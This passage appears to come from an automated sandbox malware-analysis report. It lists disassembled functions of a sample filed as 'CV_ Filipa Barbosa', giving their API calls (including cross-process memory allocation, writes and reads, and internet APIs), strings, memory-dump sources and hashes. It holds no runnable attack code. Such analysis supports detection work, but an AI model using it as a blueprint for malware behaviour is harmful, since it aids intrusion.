                                                                  • Instruction Fuzzy Hash: D241FA79E013099FEB14DF68D881BDA7BF9FB08300F1440AAE905AB351D770A941DFA1
                                                                  Function 00B75180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96networkCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _memset.LIBCMT ref: 00B75190
                                                                  • InternetCrackUrlW.WININET(?,00000000,00000000,?), ref: 00B751C6
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: CrackInternet_memset
                                                                  • String ID: |
                                                                  • API String ID: 1413715105-2343686810
                                                                  • Opcode ID: 81fa668ec933e4eb5a4265bb2d9a0f902644a9a18e798383070a8d992a0d3de6
                                                                  • Instruction ID: a3d3f14961102d478e63ac20edb376a75314c2d73d20735e2de4076e447a213d
                                                                  • Opcode Fuzzy Hash: 81fa668ec933e4eb5a4265bb2d9a0f902644a9a18e798383070a8d992a0d3de6
                                                                  • Instruction Fuzzy Hash: 1A314A71C00119EBCF11EFA4DC85AEEBFB9FF14710F004095F919A6166EB71AA06DBA0
                                                                  Function 00B8975A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • DestroyWindow.USER32(?,?,?,?), ref: 00B8980E
                                                                  • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00B8984A
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$DestroyMove
                                                                  • String ID: static
                                                                  • API String ID: 2139405536-2160076837
                                                                  • Opcode ID: 1c0a2ae5bd9ea8819b7b35413d03be6c13087ecae22564155f2f428907402470
                                                                  • Instruction ID: 38cec8bfc3862cb8104cbafb1dd60d90da8f1bd988b024023f29e56419811f94
                                                                  • Opcode Fuzzy Hash: 1c0a2ae5bd9ea8819b7b35413d03be6c13087ecae22564155f2f428907402470
                                                                  • Instruction Fuzzy Hash: 5E318B71110604AEEF10AF68CC81BBB73E9FF99760F148659F8A9C71A0DB31AC81C760
                                                                  Function 00B5C2DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,0000110A,00000000,00000000), ref: 00B5C2F7
                                                                  • SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 00B5C331
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID: @U=u
                                                                  • API String ID: 3850602802-2594219639
                                                                  • Opcode ID: 38996613bcca20091a3334fdf1f95f1b7e3e26746906fe7a80d533f073c85dc5
                                                                  • Instruction ID: f1beefc97934534e14e70e990445aadde0aaef5964f5d0ac41a5c1cc46826412
                                                                  • Opcode Fuzzy Hash: 38996613bcca20091a3334fdf1f95f1b7e3e26746906fe7a80d533f073c85dc5
                                                                  • Instruction Fuzzy Hash: A521BB72D00319AFCB11AF98D881EEF7BF6EF88701B1181D5ED19A7190EA705D45C750
                                                                  Function 00B65157 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _memset.LIBCMT ref: 00B651C6
                                                                  • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00B65201
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: InfoItemMenu_memset
                                                                  • String ID: 0
                                                                  • API String ID: 2223754486-4108050209
                                                                  • Opcode ID: a7cab5a4fdcd3a23f70815ffd4141f0421ece4238eca54d12751d0387df417b0
                                                                  • Instruction ID: 1937705dfd9ac9c8dd4213f3c22ce73ef343b503ec359b6576d06302df0b636c
                                                                  • Opcode Fuzzy Hash: a7cab5a4fdcd3a23f70815ffd4141f0421ece4238eca54d12751d0387df417b0
                                                                  • Instruction Fuzzy Hash: 96312871A003059BEB34CF99D895BAEBBF4FF45350F140099E981A71A0D7789A64CB10
                                                                  Function 00B7658B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 83COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: __snwprintf
                                                                  • String ID: , $$AUTOITCALLVARIABLE%d
                                                                  • API String ID: 2391506597-2584243854
                                                                  • Opcode ID: 3594b61f96e93e297595c3affc4fba7ef5f9fd7817bc4cf2ab99cb7ffe3b18f5
                                                                  • Instruction ID: d5dc0d92afff55e2ab164f7191b3681e54ca275b6c2878668394c91ba262ffee
                                                                  • Opcode Fuzzy Hash: 3594b61f96e93e297595c3affc4fba7ef5f9fd7817bc4cf2ab99cb7ffe3b18f5
                                                                  • Instruction Fuzzy Hash: C5218F71A00529ABCF14EF64D882EED77F4AF44700F4044E9F419AB192DB70EA55CBA1
                                                                  Function 00B8955E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B67DB1: GetLocalTime.KERNEL32 ref: 00B67DBE
                                                                    • Part of subcall function 00B67DB1: _wcsncpy.LIBCMT ref: 00B67DF3
                                                                    • Part of subcall function 00B67DB1: _wcsncpy.LIBCMT ref: 00B67E25
                                                                    • Part of subcall function 00B67DB1: _wcsncpy.LIBCMT ref: 00B67E58
                                                                    • Part of subcall function 00B67DB1: _wcsncpy.LIBCMT ref: 00B67E9A
                                                                  • SendMessageW.USER32(?,00001002,00000000,?), ref: 00B895F8
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _wcsncpy$LocalMessageSendTime
                                                                  • String ID: @U=u$SysDateTimePick32
                                                                  • API String ID: 2466184910-2530228043
                                                                  • Opcode ID: b99ae895c0a15190918d57fca69a65d870f291b64fdd66889cfd1da7876ce611
                                                                  • Instruction ID: 1dc3c954e39f21a547012fa2e735a58a34b159f32eb914ba71ff2a310c3c9fa6
                                                                  • Opcode Fuzzy Hash: b99ae895c0a15190918d57fca69a65d870f291b64fdd66889cfd1da7876ce611
                                                                  • Instruction Fuzzy Hash: 7321B4713402046FEF22AE54DC82FFE33AAEB54754F140955F951AB1E0D6B5EC41C7A0
                                                                  Function 00B5BB97 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00B5BBB0
                                                                    • Part of subcall function 00B6422F: GetWindowThreadProcessId.USER32(?,?), ref: 00B6425A
                                                                    • Part of subcall function 00B6422F: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00B5BBCC,00000034,?,?,00001004,00000000,00000000), ref: 00B6426A
                                                                    • Part of subcall function 00B6422F: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00B5BBCC,00000034,?,?,00001004,00000000,00000000), ref: 00B64280
                                                                    • Part of subcall function 00B6430B: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00B5BC08,?,?,00000034,00000800,?,00000034), ref: 00B64335
                                                                  • SendMessageW.USER32(?,00001073,00000000,?), ref: 00B5BC17
                                                                    • Part of subcall function 00B642D6: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00B5BC37,?,?,00000800,?,00001073,00000000,?,?), ref: 00B64300
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Process$MemoryMessageSend$AllocOpenReadThreadVirtualWindowWrite
                                                                  • String ID: @U=u
                                                                  • API String ID: 1045663743-2594219639
                                                                  • Opcode ID: 61236c9a700b649bcbcb59c803f02ab4552041d00c347c802d97beb8c51fad42
                                                                  • Instruction ID: eb3fafad7a14199697afb099ae89d3c348ab9a15691ae88c6dc520c25d1b9a3f
                                                                  • Opcode Fuzzy Hash: 61236c9a700b649bcbcb59c803f02ab4552041d00c347c802d97beb8c51fad42
                                                                  • Instruction Fuzzy Hash: B5216031901128ABDF11ABA8DC81FDEBBB5FF04350F1001E5F949A7190DF705A44DBA4
                                                                  Function 00B893CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00B8945C
                                                                  • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00B89467
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID: Combobox
                                                                  • API String ID: 3850602802-2096851135
                                                                  • Opcode ID: f20bc6ab27c7f370c13836cdb244f911d01368646f8bea19b3df1e20bdce719b
                                                                  • Instruction ID: 7f588ad28f2a15598668f83a7b8bcd11d2254a35c6c0bfd118a1ab68e3e2a1f3
                                                                  • Opcode Fuzzy Hash: f20bc6ab27c7f370c13836cdb244f911d01368646f8bea19b3df1e20bdce719b
                                                                  • Instruction Fuzzy Hash: 7B118271310609BFEF21AE54DCC1EBB37AEEB883A4F184165F919972A0D6719C52C760
                                                                  Function 00B8C3DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON
                                                                  Download Yara Rule
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID: @U=u
                                                                  • API String ID: 0-2594219639
                                                                  • Opcode ID: 5dd354698b89c8ef10aa716225d3e6ab660053f471e3ae859e78f8a06c319693
                                                                  • Instruction ID: 574cc5e7992ecbf32321810e0f5d11f1bd469746688e2a4c41e3722bcd09e96c
                                                                  • Opcode Fuzzy Hash: 5dd354698b89c8ef10aa716225d3e6ab660053f471e3ae859e78f8a06c319693
                                                                  • Instruction Fuzzy Hash: D711B6B5104218BFEF11AF68CC65FB93BE4EB05710F188195FA169A2F0D670D990EB74
                                                                  Function 00B5D4F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B2103B: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00B21052
                                                                  • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00B5D54E
                                                                  • _strlen.LIBCMT ref: 00B5D559
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$Timeout_strlen
                                                                  • String ID: @U=u
                                                                  • API String ID: 2777139624-2594219639
                                                                  • Opcode ID: c66e1a68e16da89091f8999eca69984eceedcf585ba8942d1ebe932da382d254
                                                                  • Instruction ID: d861b7a0c073a4c8c7b47d5faf6863a1955e4cdc37085c7a8b21440faa303955
                                                                  • Opcode Fuzzy Hash: c66e1a68e16da89091f8999eca69984eceedcf585ba8942d1ebe932da382d254
                                                                  • Instruction Fuzzy Hash: 0F11A731600105A7CB14BF68FC83ABE7BE8DF65345F1045F9F90A97192EE60D94A9750
                                                                  Function 00B898FE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3D17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00B3D1BA
                                                                    • Part of subcall function 00B3D17C: GetStockObject.GDI32(00000011), ref: 00B3D1CE
                                                                    • Part of subcall function 00B3D17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 00B3D1D8
                                                                  • GetWindowRect.USER32(00000000,?), ref: 00B89968
                                                                  • GetSysColor.USER32(00000012), ref: 00B89982
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                                  • String ID: static
                                                                  • API String ID: 1983116058-2160076837
                                                                  • Opcode ID: 3a62b9177879bfc7b9a9d3daffa258e53c06be3bd28625dc2fe2c112032f6b3f
                                                                  • Instruction ID: 53b8adac6f9beff11ae1e0705c72a817f836bc471b28f442a0049bb3d6361334
                                                                  • Opcode Fuzzy Hash: 3a62b9177879bfc7b9a9d3daffa258e53c06be3bd28625dc2fe2c112032f6b3f
                                                                  • Instruction Fuzzy Hash: 4A111772510209AFDF04EFB8C846AFA7BE8EB08344F054A59F956E3250E635E850DB60
                                                                  Function 00B65262 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _memset.LIBCMT ref: 00B652D5
                                                                  • GetMenuItemInfoW.USER32(00000030,?,00000000,00000030), ref: 00B652F4
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: InfoItemMenu_memset
                                                                  • String ID: 0
                                                                  • API String ID: 2223754486-4108050209
                                                                  • Opcode ID: 7417d64fbbd6e5b0bd6a5c6cd2965f7d82a422aab9519c4a60bf590a0d68eb36
                                                                  • Instruction ID: ec1cdabdbd031a963b71a84f3929799210fe42a938c39a93a1cb75309ddd1fee
                                                                  • Opcode Fuzzy Hash: 7417d64fbbd6e5b0bd6a5c6cd2965f7d82a422aab9519c4a60bf590a0d68eb36
                                                                  • Instruction Fuzzy Hash: D3112272D00614ABDB30DF98C840B9D77F8EB05B50F1400A5E942E7290D7B4ED54CBA0
                                                                  Function 00B74D9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00B74DF5
                                                                  • InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00B74E1E
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Internet$OpenOption
                                                                  • String ID: <local>
                                                                  • API String ID: 942729171-4266983199
                                                                  • Opcode ID: 60bd172659184d9f3817a110df25bf25b14d2bc2b381647f379c5ffa6b64f48a
                                                                  • Instruction ID: e42efd7f9efa74dff001456b14a092d86f6c7549a6fb6b1273ed7968e143667d
                                                                  • Opcode Fuzzy Hash: 60bd172659184d9f3817a110df25bf25b14d2bc2b381647f379c5ffa6b64f48a
                                                                  • Instruction Fuzzy Hash: FC119E70501221BADB398B5188C9EFBFAE8FB06766F10C26AF56956140D7705D40C6E0
                                                                  Function 00B8B1DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,?,?,?), ref: 00B8B22B
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID: @U=u
                                                                  • API String ID: 3850602802-2594219639
                                                                  • Opcode ID: 48e8c6c151c77b40f8f4600f39e0f57620b736e8dd6f8d0df998b50afb7ccb51
                                                                  • Instruction ID: 9e95006b3613333aa401220022f2a32e4cd18c1dadac071fd2c140bd3848ffe3
                                                                  • Opcode Fuzzy Hash: 48e8c6c151c77b40f8f4600f39e0f57620b736e8dd6f8d0df998b50afb7ccb51
                                                                  • Instruction Fuzzy Hash: 1221C279600219EF8F15DFA8D880CAE7BF5FB4D340B104598FD06A7324D731A961DBA0
                                                                  Function 00B892B1 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,00000401,?,00000000), ref: 00B89327
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID: @U=u$button
                                                                  • API String ID: 3850602802-1762282863
                                                                  • Opcode ID: 5957f12385b24bb7bfbe7fb9d88de7d46b26267042a9470ab17e7987e6f21122
                                                                  • Instruction ID: 1813e4fdea9a93e8a242a8a7842d8f4ee95ea4ffdc981d085640dde9be3a94b4
                                                                  • Opcode Fuzzy Hash: 5957f12385b24bb7bfbe7fb9d88de7d46b26267042a9470ab17e7987e6f21122
                                                                  • Instruction Fuzzy Hash: 9111ED32150209ABDF11AFA4CC41FFA37AAFF18314F190214FA55A71E0D772E861EB24
                                                                  Function 00B8A587 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,0000133E,00000000,?), ref: 00B8A5D3
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
